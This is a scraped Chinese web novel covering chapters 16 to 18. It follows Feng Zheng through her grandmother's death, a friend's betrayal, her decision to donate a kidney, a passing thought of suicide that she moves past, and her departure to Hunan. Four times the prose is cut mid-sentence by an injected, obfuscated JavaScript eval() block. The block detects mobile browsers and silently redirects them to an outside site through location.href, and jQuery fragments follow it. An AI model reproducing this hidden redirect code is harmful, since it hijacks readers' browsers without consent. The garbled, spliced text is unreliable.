家里已经布置好了灵堂，爸爸的朋友们稀稀拉拉地前来吊唁，继母跪在地上，面上没有一点悲伤的样子，一遍遍地给人讲述着奶奶是如何离去的，她的内心有多么不舍和难过。 可是，她说的话，大概连鬼都不信。 爸爸看见她回来了也并没有说什么，只是让她去房间里把孝服穿上。她拉着风笛进了房间，询问风笛当天到底发生了什么事情。 风笛一问三不知，目光却躲闪不诚实。 风筝揪住他的耳朵，“学会撒谎了是吧？皮肉痒痒了是吧？” 风笛大声哭嚎起来，风筝怕继母听见，赶忙捂住他的嘴巴，又使劲儿揪了揪他的耳朵：“不许喊！” 风笛可怜地憋住眼泪，点了点头。 风筝放开手，厉声道：“快说！” 风笛打小被姐姐欺凌，却又十分喜欢这个姐姐，想了想还是老实说了，当天是他放学回来先看见奶奶躺在地上的，尽管妈妈说她睡着了没有听见外面的动静，小小的他内心也很怀疑，当时地上散落着一些水果，证明奶奶摔倒的时候抓了一下桌子，但没有抓到，反倒打落了装水果的篮子，那么大的动静，妈妈怎么可能一点都没有听见呢 风筝越听越气，她一直都知道自己的继母算不得什么好人，但再一次被她为人的恶毒震惊了，即便是陌生人，也不能做到如此冷血吧？ 她不由握紧了双拳，指甲深深陷入掌心中，留下四个通红的印子，她恨不得现在就冲出去杀了这个虚伪的女人，可她仅存的一丝理智告诉她，不能这么做。 她在心里默默告诉自己，一定要记住这一天，一定要记住这一刻的感受，有朝一日，偿还回去！ 可风筝的继母却俨然并没有觉得自己有什么不对，她的家人来虚情假意地吊唁后，她们便开始嘀嘀咕咕猜测奶奶有没有留下什么财产，风筝的奶奶是有退休金的，她不相信这么些年，老太太一分钱也没有攒下来。 这些话让风筝听见，简直刺耳。 她和她的继母发生了有生以来最严重的一次争吵，她的爸爸当然这一次也没有向着她，风筝的心里，已经不知道难过和失望是什么滋味了，她早就习惯和麻木了父亲的不分是非，无理偏袒。 但在这发泄一般的争吵中她得知，奶奶当时是接了一个电话后摔倒的，而这个号码，她熟悉的很，正是薇薇的手机号码。 风筝静静地坐在房间里，她想起奶奶去世前曾让她承诺，不将她的肾捐给昭昭。当时情急没有想太多，这会儿冷静下来想一想，奶奶是怎么知道捐肾这件事的？ 她爸爸和继母是肯定不可能告诉奶奶的，风笛也未必对此事知情，唯一会告诉奶奶的，大概就是薇薇了吧！ 这么推理，一切好像都可以想明白了。 奶奶因为接了薇薇的电话，得知风筝的亲妈来和她相认，是为了救自己的小女儿，一着急才犯了病，摔倒在了客厅，再加上继母视而不见，延误了最佳抢救时间，最终导致奶奶抢救无效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183599|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开人世。 薇薇和继母，联手杀死了奶奶！ 这个念头在她心里一闪而过，可她很快摇了摇头，告诉自己不要瞎想，薇薇有什么理由害奶奶呢？就算是因为薇薇的电话，才让奶奶着急地摔倒了，可薇薇在电话里说了什么还未可知，不可以这样就给薇薇下了定论！ 她起身去卫生间洗了一把脸，看着镜子中的自己默默出神，风筝啊，以后这个世界，再没有人可以保护你了，你要坚强，要自己保护好自己。 她勉强扯了扯嘴角，露出一个难看的笑容。 “你来干什么！坏人！”外面突然传来风笛一声尖锐的哭喊，风筝赶忙收拾好衣服走出卫生间。 陆离和他的爸妈一起来吊唁。 家里原本才刚吵过架，气氛有些沉重，却因为这三个人的到来，变得极为紧绷，仿佛一不小心都能引发一场爆炸。 “老太太走的太突然了……”陆爸爸率先打破沉默。 “你还好意思来！要不是你们，我妈能死？”风筝爸爸气愤地走到门口，并不准备让他们进门。 “风长生，你讲点道理，我知道你妈死了你很难过，但是这和我们有什么关系？”陆妈妈说。 “怎么就和你们没关系了？不是你闹着要风筝的肾，我妈能着急地犯病？” “是，是我要风筝去救昭昭了，但是，你没同意吗？我是把孩子拐跑的吗？” “我什么时候同意了？” 陆家夫妇对视了一眼，这中间显然有什么事情是风长生不太清楚的，陆爸爸将视线转向风筝继母，说道，“不是你给我打电话说你们同意的吗？” “什么？”风长生怒目瞪着风筝继母，在风筝的印象当中，她似乎还是第一次见爸爸在继母面前翻脸，或多或少的，这原因还与自己有一点关系。 她的内心竟然为此有一点感动。 “到底怎么回事？” “你还是让你老婆告诉你吧！”陆爸爸说。 所有人都将视线聚焦在了风筝继母的身上，她微咬着嘴唇思索了片刻，拉住风长生的胳膊，说，“长生，现在不是说这个的时候，我事后自然会向你解释，眼下最着急的是咱们应该为咱妈讨回一个公道，不能让咱妈就这么白死了！” “你讲不讲道理啊？我们只是想来上个香，送老人一程，没有什么别的意思！”陆爸爸眼见着风筝继母开始颠倒是非黑白，有些难以置信。 “只是上个香？你们把人都逼死了，只是打算上个香？”继母不自觉提高了声音，隔壁邻居的门开了又关，风筝心里觉得丢人，这会子楼上楼下不知道有多少人在听着墙角看戏了又。 “那你想怎么样？”陆爸爸问。 “我不把你们拉去警察局都算是宽宏大量了，看你们穿的人模人样，做起事来却没有一点家教，我们家老太太被你们逼死了，你们……你们竟然还来和我们理论，还说只是上个香？” “你到底想怎么样？” “赔钱！” “你的眼里除了钱还有什么？”陆妈妈说，但她并没有过多的纠缠于风筝继母，很快便转向风长生，指责道，“你怎么不说话？看样子你们家一切都是你老婆做主的，她这样的人，这些年我女儿跟着你们不知道受了多少委屈吧！” “呵！”不等风长生说话，继母便笑了出来，“你有什么脸面说这些话？我就算让她受委屈了还是把她养大了，你呢？这些年你干什么去了？你在陆家好吃好喝的，又生了个小女儿，日子过的太平的时候完全没有想过你这个大女儿，这会儿小女儿生病了来找大女儿了？还来指责我们让你女儿受委屈了？咱们俩比起来，还是你比我不要脸的多！” “你……”陆妈妈明显是吵不过风筝继母的，她气得浑身发抖，双手紧握成拳，可是嘴上却一句反驳的话也说不出口。 “够了！都别说了！”风筝再也不想听下去了，大声制止了这场没有什么意义的争吵。 “你们走吧。”她望向陆离和陆家夫妇，“我奶奶应该不会想见到你们。” “风筝……”陆离开口，似乎想要说些什么。 “别说了，”风筝看着灵堂上奶奶和蔼的笑容，淡淡道：“让我奶奶安静地走吧。” 16. Chapter 16 奶奶的离开让风筝一夜之间成长了很多，原本，她因为特殊的家庭环境就和同龄的孩子们性格上有些差异，这件事让她看到了更多人性的自私、冷漠、趋利，人也变得更加内向和冷淡了几分。 丧期过后，她约了薇薇见面。自从奶奶出事以来，薇薇一直没有露面，这让风筝有些意外，她原本想着薇薇大概是猜到自己的电话害奶奶犯病离世了，出于自责一直没有现身，所以她还准备安慰一下她，却没想到，这次见面，彻底断送了她们六年之久的友情。 薇薇比约定的时间迟到了一个小时。 风筝一直坐在操场的双杠上等她，等到太阳一点点沉到晚霞之中，只露出一个俏皮的额头。等到天从蓝色变成红色，最后变成灰色。薇薇终于不紧不慢地出现了。 她衣着整齐讲究，还是那个漂亮的田雨薇。 善于察言观色的风筝却看出了，薇薇面上的表情和以往不太一样，她看着她一步步走到自己的身边，翻身上了双杠，在她旁边坐下，和从前一样，她们时常在放学后坐在操场的双杠上，看着夕阳西下，聊同学，聊明星，聊未来，说不完的话。 可是现在，薇薇兀自看着远方，风筝看着她，一时竟无语。 “抱歉，你奶奶的事儿。”最后还是薇薇先开了口。 风筝一时没听明白这句抱歉是因为她打的那一通电话还是因为奶奶的离世。 “我本来想去你家陪你的，但是这段时间我妈妈身体不太好，我实在去不了。” “没关系，都过去了，阿姨怎么了？” “没什么，一点小问题。” “哦。” “你现在怎么打算？” “好好学习呗，早点考上大学，离开这个家。” “那……昭昭呢？” 薇薇问到了风筝的心坎里，这段时间，关于昭昭这个问题她也想了很多，奶奶的离开太过于突然，这是她有生以来第一次体会到亲人的离去是怎样一种撕心裂肺却又无能为力的悲痛，她不想再尝试第二次，尽快她不知道昭昭该不该算是她的亲人，但在她的内心深处，并不想让陆离再尝试这种感受，也不想让她的妈妈遭受失子之痛。 她将自己的内心感受说给薇薇，“我打算去医院做一下检查。” “什么？”薇薇诧异地跳下了双杠，难以置信地看着她。 “我不想让我妈妈像我现在这样痛苦。” 薇薇看着她，尽管风筝没有说出来，但薇薇知道，不仅是她妈妈，当然，还包括陆离。 “你是不是觉得我很圣母？” 薇薇摇了摇头，重新坐回到风筝的身边，“风筝，你太善良了，你总是考虑别人的感受，却没有人为你考虑，我不知道你这样值得不值得。” 风筝笑了一下，“我有你啊。” 薇薇偏过脑袋，目光与她交会，眼神中隐藏着一种风筝说不清的情绪，然后她也笑了一下，轻咬了咬唇，“有件事，我不知道该不该告诉你。” “什么事？” “你奶奶去世前，陆离给你奶奶打过电话。” “……什么？” “他知道你听你奶奶的话，求你奶奶救救昭昭，并且说，他父母会给你们经济上的回报。” 风筝的心仿佛被重重击打了一拳。薇薇的面色很平静，眼神很真切，她看不出她是不是在撒谎，可她知道，那个电话号码，不是陆离的。 “他……这样说？” “是，当时你奶奶情绪很激动，她之前似乎不知道你妈妈和你相认的原因，但她坚决不同意你给昭昭捐肾，她怕你身体垮了，陆离说了很多摘掉一颗肾并不影响以后生活的话，但是他并没有劝动你奶奶，你奶奶她很坚持。” “所以……他们发生了激烈的争吵？是陆离把我奶奶气死的？” 薇薇睁大了眼睛，但马上就又恢复了常态，她转开视线，一只手捋了捋额角的碎发，“这么说可能对陆离不太公平，但我猜，奶奶的确是因为这件事急火攻心的。” “可是……我还没有去医院做过检查，能不能救昭昭也还未知，陆离为什么要这样做？” “因为……”薇薇快速地眨着眼睛，变得有些语无伦次。 “还有，”风筝继续平静地问她，“陆离和我奶奶打电话的时候，你在现场吗？” “什么意思？” “如果你不在现场，为什么我家电话来电显示的是你的号码？如果他是用的你的电话，那你在现场，又为什么不制止他？” 和薇薇相识六年，两个人在一起，虽然风筝一直处于弱势地位，但她对薇薇还是有些许了解的。同样地，她有多了解薇薇，薇薇也就有多了解她。 她平静地抛出一个又一个问题，却让薇薇难以继续将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183600|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谎圆下去。 她们彼此心里都清楚，这个谎，已经没有必要再继续扯下去了。 薇薇笑了，她的笑容还是那样得赏心悦目，风筝却从心底再也欣赏不了这样的美了。 一会儿，薇薇说道：“风筝，其实我们从一开始就不是一类人，我们不应该成为好朋友的。” “我想知道，你和我奶奶说了些什么。” 薇薇沉默了一会儿，动作利落地跳下双杠，并没有抬头看风筝，风筝看不清她的表情，只听见她说：“对不起，风筝。” 说完便抬脚离开。 风筝看着她的背影，眼泪倾泻而下。愤怒、怨恨、失望、委屈……一瞬间所有情绪在心中卷起海啸，快要将风筝整个人都淹没了。她跳下双杠，大步跑向薇薇，从后面推了她一把，薇薇一个趔趄摔倒在地，风筝大声地质问她，“你为什么要这么做！你知道吗，你骗得了我只是因为我信任你！” 薇薇的手被地面蹭伤了，膝盖也摔破了，她抬起头，风筝才发现她竟然也早已泪流满面。 “是因为陆离吗？是因为陆离吗！”风筝再次大声质问。 “是！”薇薇从地上站起来，“你哪里比的过我？你没有我漂亮，没有我聪明，没有我性格好，没有我家世好，为什么陆离喜欢你不喜欢我？！” 风筝摇着头，她看着眼前的薇薇，心里却觉得十分的陌生，她哪里还是她认识的那个充满了阳光的薇薇？亦或者，是她从来都不曾真正的认识过薇薇。 她不想再多说什么了，甚至不想再多看薇薇一眼了。捡起掉落在地上的书包，大步离开。 “风筝，”薇薇在背后叫她，她顿住脚步，但并没有转身，听见她在背后说：“你从来都不是我的朋友，你只是我万千追随者中的一个，和其他人一样，在我心里从来都没有什么不同！” 这句话如同针刺，狰狞着扎进她的心里。 她却笑了一下，抬手用袖子擦干了脸颊上的眼泪，头也不回地离开了。 夜幕降临，路灯齐开，散发出橘色温暖的光。 操场中间站着一个女孩，低着头使劲儿的哭。 跑道上有另外一个女孩快步走向校门口，她拧着眉头，憋着眼睛，使劲儿地控制着不让自己流泪。 她们彼此都没有回头看对方一眼，就好像此后的人生轨迹，在交点过后，渐行渐远。 17. Chapter 17 昭昭的身体，一日比一日虚弱，她已经不能像正常孩子一样下地奔跑了，她只能整日整日地躺在病床上，插着氧气管，呆呆地看着窗外。 陆离抽空来看她，她虚弱地扯了扯嘴角，尽可能让哥哥看到她开心的样子。 这样的懂事与贴心，却让陆离的心里更加难过。 “哥哥，你看，窗户外面的树上有一个鸟窝。”陆离顺着昭昭的视线看过去，“那个窝里有两只小鸟，每天，鸟爸爸鸟妈妈都会找食物给他们吃，要不了多久，他们就会长大，自己飞向天空吧？” “是啊，他们会长大的。” “哥哥，那两只小鸟好像我们两个，可是，我不能飞向天空了。” 她的声音明明还带着孩童的稚嫩，说出来的话却有着不属于她这个年龄的残酷。 陆离伸手捏了捏她的脸蛋，如同从前，他笑着安慰她，声音却隐隐有些颤抖，“不会的，昭昭，哥哥会带你一起飞向天空的。” “哥哥，这个世界上有没有神仙？” “有，所以只要你诚心许愿，神仙会听到的，会来帮助你的。” “是吗？”昭昭的眼睛亮了一下，“如果我死了，我想告诉神仙，下辈子我想做一只真正的小鸟。” “小鸟？为什么？你不想做哥哥的妹妹了吗？” “哥哥已经这么大了，等我再回来，哥哥一定长成大人了，爸爸妈妈也变老了，那我就没有办法再做哥哥的妹妹了，所以我要变成一只小鸟，就在我们家门口的那棵树上安家，这样，我还是可以每天都看到爸爸妈妈和哥哥……” 陆离再也控制不住，眼泪夺眶而出，他扭过身去，不想让昭昭看到他的眼泪。他的背影因为抽泣而不住颤抖，曾经宽厚的肩膀不知道什么时候都已经再也撑不起他身上薄薄的毛衣。风筝躲在病房外看着，心里也跟着难过起来。 “奶奶，我们只是去做一下检查，说不定还不匹配呢，对不对？” “奶奶，你也说过的，救人一命胜造七级浮屠，嗯？” 风筝拿出钱夹里奶奶的照片，指尖轻轻抚过奶奶的面容，自言自语。 她转身敲了敲病房的门，陆离看到她，诧异地站了起来，她走进去才发现，原来陆妈妈也在，坐在靠墙的沙发里流眼泪，看见她来了，匆忙擦一把眼泪，问道，“风筝，你怎么来了？” 风筝当然看到了妈妈眼中突然燃起的希望，以及陆离眼中期盼而又抱歉的复杂情绪，她耸耸肩，装作很轻松的样子，“都要做一些什么检查才能确定我的肾脏和昭昭匹不匹配呢？” 空气凝固了那么一两秒。 “你……决定救昭昭？”陆妈妈的情绪仿佛下一秒就要崩溃了。 “救不救得了，就看老天爷的意思了。”风筝有些不自然地笑了一下。 “我……我不知道该说些什么，谢谢你，风筝。”风筝看得出来，陆妈妈的这句感谢是由衷的，但她心中却五味杂陈。 “不用对我说谢谢，我不是为了你们中的任何一个人，我是为了我自己。” 陆妈妈点点头，她第一次认真地打量着这个有些陌生的大女儿，她的眼睛很像自己，亮黑色的瞳孔仿佛一眼就能看到底，她以前总是认为，大女儿不是自己教出来的，在风家那样的家庭环境下长大，不会与太多溢美之词沾边，但这一刻，她为她的想法感到羞愧。 “不论如何，你能做出这样的决定，妈妈都很感谢你。” 妈妈？风筝有些不习惯地看着她，她的脸上也略显尴尬，接着又说:“如果可以的话，我希望以后听你叫我一声妈妈。” 妈妈，这个对于普通人而言十分亲切、温暖的词语，风筝从小就没有什么感觉，继母在她还不完全记事的时候进风家，她稀里糊涂地叫了她一声妈妈，但却从来没有感受到这个词背后的含义。于她而言，“妈妈”二字，就和一个名字一样，只是一个称呼时的代号，没有什么特别。 所以面对这个真正的“妈妈”，她完全叫不出口。 她没有回应她的话，只说:“我先走了，需要做什么检查的时候给我打电话就好了。” 陆妈妈没有再说什么，默默地点了点头。 “我送你。”见风筝转身欲走，陆离匆忙开口。 “不用了。” 风筝开门离开了病房，但陆离还是紧追了出来。 “你最近还好吗”两个人的开场白尴尬至极，风筝笑了一下，并没有回答。这个问题该怎么回答呢，说好，是骗人的，说不好，有什么意义呢？ “你奶奶的事，我感到很抱歉。”陆离又说。 “你为什么抱歉？为你欺骗我？还是你做了什么更抱歉的事？” 陆离微微地皱了皱眉头，“风筝，你能不能不要总像一只刺猬一样” “我一直都是一只刺猬，只不过从前对你收起了这样让人讨厌的一面。”风筝看着陆离，很认真地说。 他们已经很久没有心平气和地说过话了，风筝也不知道为什么，尽管她已经知道，薇薇说的那些话是不值得相信的，但她也并没有深究哪些事情是陆离并没有做过的，在她心里固执地认为，陆离帮着他父母欺骗她这一件事就足够给他判死刑了，她坚决不肯原谅陆离，是基于什么样的感情，那时候她并不是很清楚。 “好吧，你可以讨厌我，但有些话我还是要说。”陆离颇有些无奈地耸了耸肩，“这段时间发生了太多的事情，但你还是要好好复习，距离高考没有多长时间了，你记得我们之前说过的话，一定要考上大学。” “不劳你费心。”风筝不由加快了脚步，想要甩掉陆离。 “我一定会和你报同一所大学的。”陆离停下了脚步，看着风筝的背影喊道。 风筝翻了翻眼睛，快步消失在了走廊的尽头。 那个时候，其实所有人都不知道，风筝有认真地考虑过离开这个世界，她心灰意冷到了极点，父亲不爱，母亲不亲，朋友之间的背叛、欺骗，就连这个世界上唯一一个给过她宠爱的奶奶也离开了，她觉得她被世界抛弃了，太多的负能量都集中在了她的身上，压的她喘不过气来。 这也是她最终坚定了给昭昭捐肾的另外一个原因。 可那段时间她又着实过的很满足，妈妈每天给她做好吃的，她第一次品尝到妈妈做的饭，觉得美味极了。不需要看护昭昭的时候，妈妈还带她去逛街，给她买了很多漂亮的衣服，那些她从来没有穿过的，只见过薇薇穿过的价格不菲的衣服，她看着穿衣镜中的自己，不由心生欢喜，果真是人靠衣装，原来她长得也算好看。她们逛完街就一起吃饭，她不需要考虑别的人或者别的事情，她只要告诉妈妈她想要吃什么就行了，她和妈妈讲她小时候的事情，妈妈常常听着听着就眼含泪水，这个时候，她的心里就会很温暖，原来，自己的妈妈是会心疼自己的…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183601|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是，每当夜深人静她一个人静静地躺在床上的时候，又会觉得这些快乐都很虚渺，一切好像都基于她也许可以救昭昭，仿佛是泡沫，一碰就会碎。 她期待检查结果出来，又害怕检查结果出来。 如此矛盾的过了两周，所有的检查报告都出来了。 她与昭昭的肾脏良好匹配，是可以做移植手术的。 然而，在宣布这个好消息的同时，医生也带来了一个坏消息。 昭昭的身体已经承受不了肾脏移植手术了，她陷入了长久的昏迷，只要氧气管一拔，她随时就要离开了…… 陆妈妈听到这个消息当场就晕厥了过去，风筝上前搀扶她，下意识地开口叫道，“妈妈——” 却被陆爸爸使劲儿推开，“都怪你，如果不是你拖了这么久，昭昭就不会死！你就是个灾星，自从你出现，我们家就没安生过！” 他说着，一把扯下风筝背在身上的小包，扔到地上恨恨地踩了几脚。这是风筝妈妈才给她买的小包，她和昭昭一人一个，昭昭当时很欢喜，她有了一个姐姐，还和姐姐有了一个一样的可爱的包。可是这一切看似幸福的假象，都随着昭昭的离开全部离开了。 从始至终，妈妈都没有说话，任凭陆爸爸发泄着他的情绪，风筝无法分辨，她是因为太过于伤心而没有注意到这边的情况，还是她的内心对于陆爸爸的话多少也是有一些认可的。但她没办法再在这里呆下去了，她的自尊心已经被人推倒在地随意践踏了。 她起身跑开了。 风筝一个人漫无目的地在街上走着，她不知道该去哪里，也不知道能去哪里。出了朝阳门，拐进了环城公园，她坐在护城河边，晒着太阳发着呆。 十八岁这一年，对于她来说实在是有点难熬，没有青春该有的多彩，没有年少该有的单纯。 护城河的水，永远都是浑浊而有些发臭的，可是每一年都会有很多人在这里结束了自己的生命，永远地脱离了烦恼与痛苦。她望着那墨黑色的河水，忽然也有一点想要永远地离开这个世界，追随奶奶而去。 “小姑娘啊，遇到啥事了，咋看起来不开心？” 见她起身微微向前，一旁的老奶奶突然问道。 “没有，没有什么。”她不擅与生人交谈，默默坐回到原处。 “这人生啊，不如意的事情十有八九，到了奶奶这个年纪你就知道了，没有什么过不去的坎儿。”老奶奶长得慈眉善目，笑起来时脸上堆满了褶皱，这语重心长的语气让风筝想到了自己的奶奶。 “奶奶，真的什么事情都能过去吗？” 老奶奶笑了，“不信，你等等看呀。” 春日的太阳照耀在老奶奶的笑容上，让风筝心底豁然开朗，她看向护城河的对岸，柳枝上早已冒出了新芽，伴随着和煦的春风惬意摇摆着。四季更替，每一年都会有一个新的开始，老奶奶说的没错，这世界没有什么过不去的坎儿吧！ 她转眼再去找老奶奶，老奶奶却早已不见了踪影。 后来，风筝还去过环城公园很多次，但再也没有见过那个在她人生关键时刻开解过她的老奶奶，她想，或许那位老奶奶就是她的奶奶吧，知道了她有这样愚蠢的想法，奶奶才专门来开解帮助她的吧！ 也就是在那个时候，她决定放弃高考，离开西安。永永远远地离开这里的一切，去过一种全新的、不同的生活。 18. Chapter 18 透过地铁的玻璃门，蔚然欣赏着自己的代言照片，一面沉醉于自己的颜值，一面对摄影师的后期修图水平表示认可。十年前，他还是一名普通大学生的时候，从来都没有想过会有这一天，自己的照片会出现在全国各地的热门商区，以一名作家的身份和影视歌坛明星抢占资源。 人生，当真是充满了意外啊！ 就如同他遇见风筝一样，直到现在想来，依然觉得充满了意外与幸运。 那是他大学毕业前的最后一个暑假，他没有着急着找工作，彼时的他虽然还没有什么名气，但是稿费已够基本生活所需，于是跟着同学前往湖南的一个小乡村支教。 也是在那一年，风筝离开了西安，她身上的钱只够买一张到湖南某二级地市的火车票，至于到了这里做什么，她也尚且不清楚，只能走一步说一步了。 当她背着简单的行囊站在火车站广场上发呆时，背后突然被一个男人揽住，她吓了一跳，回身去看，那男孩笑容明朗，额前的刘海微微盖住了他的眉毛，眉下的那双眼睛却明亮透彻，十分好看，他的鼻梁很高，勾着嘴角淡淡地笑，“发什么呆？” 一副和风筝很熟悉的样子，可风筝却满眼疑问，不等她开口，男子又顺手拿过她的行李，“我们走吧。” 风筝微微皱了眉头，就在她准备开口之际，男子小声在她耳边说：“有小偷。” 她恍然，并没有回头，和男子向前走去。 这个男子便是蔚然，这便是他们第一次相遇时的场景。 二人一起向前走了约几百米，蔚然回身看了一眼，确认这里安全后，才拿下了一直放在风筝肩膀上的手，他摆了摆手，面上竟有些不好意思，“对不起，我似乎有些冒犯了。” 风筝摇了摇头，笑道，“没关系，应该是我要谢谢你才对。” “不客气，一个人在外面要多加小心，像你这样把钱包放在上衣的口袋里，那不是送给小偷呢？” “啊！”风筝闻言，赶忙将钱包从上衣口袋里拿了出来，看看里面仅剩的几十块钱还在，安下心来，转而又将钱包放在背包的最深处，将背包背在身前，笑着问蔚然，“这样好了吧？” 蔚然微微颔首，眼睛却上下打量起了眼前的这个小姑娘，说实话，帮她的时候没注意她的长相，这会儿子面对面地站在一起，才发现眼前的这个小姑娘模样十分清秀，没有过多的雕琢与装饰，皮肤却生得白皙细腻，一双眼睛水灵灵的，煞是好看。她穿得很简单，应该是一名学生，脸上看起来也有些懵懂未知，他注意到她的钱包里只有寥寥几张面值不大的纸币，可她却把它小心翼翼地放在了背包的最底下，这让他不由多问了一句，“你家在这里吗？” 风筝摇了摇头。 “那是来这里找朋友玩？” 风筝又摇了摇头，可她似乎也并没有要和蔚然解释的意思，蔚然没有继续追问下去。这时，蔚然的同伴远远叫了他一声，他匆忙回应，同风筝道别，“我要走了，你自己一个人要注意安全。” 这样一句来自陌生人的关心与问候，让风筝心里变得很温暖，她笑着点了点头，默默看着蔚然远去的背影，第一次清楚的意识到，离开家的日子或许并没有她原本想的那么简单，这一路可能发生的事情太多了，每一天都是未知数，坏人并不只是存在于小说与新闻之中，或许就在身边。 前方的路，变得更加迷茫了。 蔚然走出不远后又突然顿脚回头，看风筝还站在原地，跑了几步过来，从兜里掏出了钱包，留下了一些零钱后，便将其他的钱都递给了风筝，“回家吧，不管发生什么事，家里才是最安全的地方。” 见风筝傻愣着没有接，他拉住风筝的手，将钱放到他的手心里，盯着风筝等待着风筝给他一个肯定的回应。 可风筝始终没有回应他，他伸手拍了拍风筝的脑袋，声音很温柔，“拿这些钱买一张回家的车票，一定要安安全全地回家！” 他的双眸像是被露水洗净的琥珀，那样的纯净，那样的透亮，风筝看着手里的钱，心里很是感动，也很是温暖，不知怎么的，就是对蔚然有一种天然的信任。 “谢谢你的好意，我很感动，尽管我也很需要这笔钱，可我不能要。”她笑着，将钱递回给蔚然。 蔚然心里微微有一些震撼，震撼于风筝面上的笑容，明明看着很柔弱的一个女孩，却能绽放出这样充满力量的笑容，她眼神中的坚定，笑容中的坦诚和言语间的礼貌都给蔚然留下了很深的印象。她坦白地说，她很感动，坦白地说，她的确很需要这笔钱，但是却又礼貌而坚定地拒绝了他。 “我只是想帮你，没什么坏意。”生怕她误会似的，他又解释道。 “我知道，可你不能一直帮我，不是吗？”她依然保持着那样让他震撼的笑容，却不再多说什么，转身拿着她的行李，先消失在了他的视线里。 后来，她这一天的背影，时常出现在蔚然的梦境里，蔚然总觉得，她美极了，不是吗？ 有时候缘分是一种很难解释的奇妙事情，就像是风筝和蔚然，在火车站相识后，只不过过了短短的几个小时，他们就又相遇了。 夜幕开始缓缓降临，在一家小吃店前，风筝实在是太饿了，在门口踟蹰良久，饭菜的香味扑鼻而来，勾得她口水在嘴巴里打转，仿佛有一条馋虫在她的胃里翻江倒海，闹着要吃点好吃的。 她摸摸口袋，就剩下十几块钱了，都怪她中午贪嘴，着实吃了不少，现在晚上还没有落脚的地方，无论如何也不能再超出计划的敷衍肚子了，明天，明天一定要找到一份工作，不然自己有可能真的会被饿死！ 她摇摇头，努力让自己不被这些美食吸引，转身继续漫无目的地向前走。 而这一幕，恰被从附近酒店出来买东西的蔚然看到了。 他心里更加确定这女孩应该是离家出走了，看样子也没有什么社会经验，脸上写着一行字：此人容易上当受骗。可她自己偏又不自知，大概从没有想过，离家出走并没有想象中的那样潇洒吧！ 看到前面不远处有一家米粉店，蔚然想了一下，迈步走了进去。 “姑娘，要不要尝尝？新店开业，免费做试吃活动，吃了之后给我们提提意见就行。” 一位中年妇女挡住了风筝的路，风筝抬头，只见这女的手中端着一份米粉，笑盈盈地看着她。 她直勾勾地看着这碗色香味俱全的米粉，难以置信地问：“真的吗？” “当然是真的啦，你要不要试试？” “好啊！”风筝忙接过来，用筷子夹了一大口塞进嘴里，她也顾不得什么吃相了，米粉几乎是吞进了肚子，惹的米粉店老板忍不住笑了起来，“慢慢吃，慢慢吃，这碗不够还有呢。” “谢谢啊，阿姨，您真是大好人。” “怎么样，好吃吗？” “好吃，”风筝说着，嘴里嚼着，“太好吃了，简直就是我吃过最好吃的东西了。” 那米粉店老板忍不住又笑了起来，见风筝很快吃完了一份，连汤都没剩的喝完了，又问，“还要吗？” 风筝有些不好意思地笑了起来，“可以吗？” “可以，可以。你等一下哈！” 老板很快回身走进店里，不出几分钟又给风筝端了一碗出来，风筝已经没那么饿了，才认真打量起这家店，看起来已经有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183602|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些年岁了，怎么做起新店试吃的活动了？ 她忍不住问道，“阿姨，我看您这店开的时间不短了，怎么做免费试吃的活动？” 老板怔了一下，很快又尴尬地笑了笑，说道，“啊……不是新店试吃，是新品试吃，新品试吃！你尝的这个口味啊是我们新出的，所以有活动。” “哦……”风筝反正没吃过正宗的湖南米粉，对吃东西这件事也没有什么特别的研究和讲究，这个问题很容易就被敷衍了。 她环顾四周，忽然发现整条马路上就她一个人在试吃这家的米粉，于是又问，“可是，阿姨，这怎么就我一个人在试吃啊？” 老板又是一怔，三角眼睛滴溜溜地一转，便说道，“这不是天黑了嘛，也没几份了，我看你面相和我有缘，就选了你！” 